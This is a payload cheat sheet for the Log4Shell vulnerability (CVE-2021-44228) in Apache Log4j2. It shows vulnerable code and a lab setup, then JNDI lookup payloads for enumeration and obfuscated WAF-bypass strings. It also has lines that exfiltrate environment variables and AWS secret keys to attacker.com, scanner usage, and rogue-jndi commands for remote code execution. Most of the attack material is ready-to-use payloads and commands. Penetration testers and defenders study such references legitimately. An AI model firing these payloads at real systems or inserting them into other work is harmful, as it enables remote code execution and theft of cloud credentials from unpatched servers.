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CVE-2021-44228 Log4Shell

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CVE-2021-44228 Log4Shell

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

Summary

Vulnerable code

You can reproduce locally with: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app using christophetd/log4shell-vulnerable-app or leonjza/log4jpwn

java
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}

Payloads

bash
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}

# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password

Scanning

  • log4j-scan

    powershell
    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                    [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass

  • Nuclei Template

WAF Bypass

powershell
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}

# using lower and upper
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

Exploitation

Environment variables exfiltration

powershell
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/

# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}

Remote Command Execution

  • rogue-jndi - @artsploit

    ps1
    java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

  • JNDI-Exploit-Kit - @pimps

References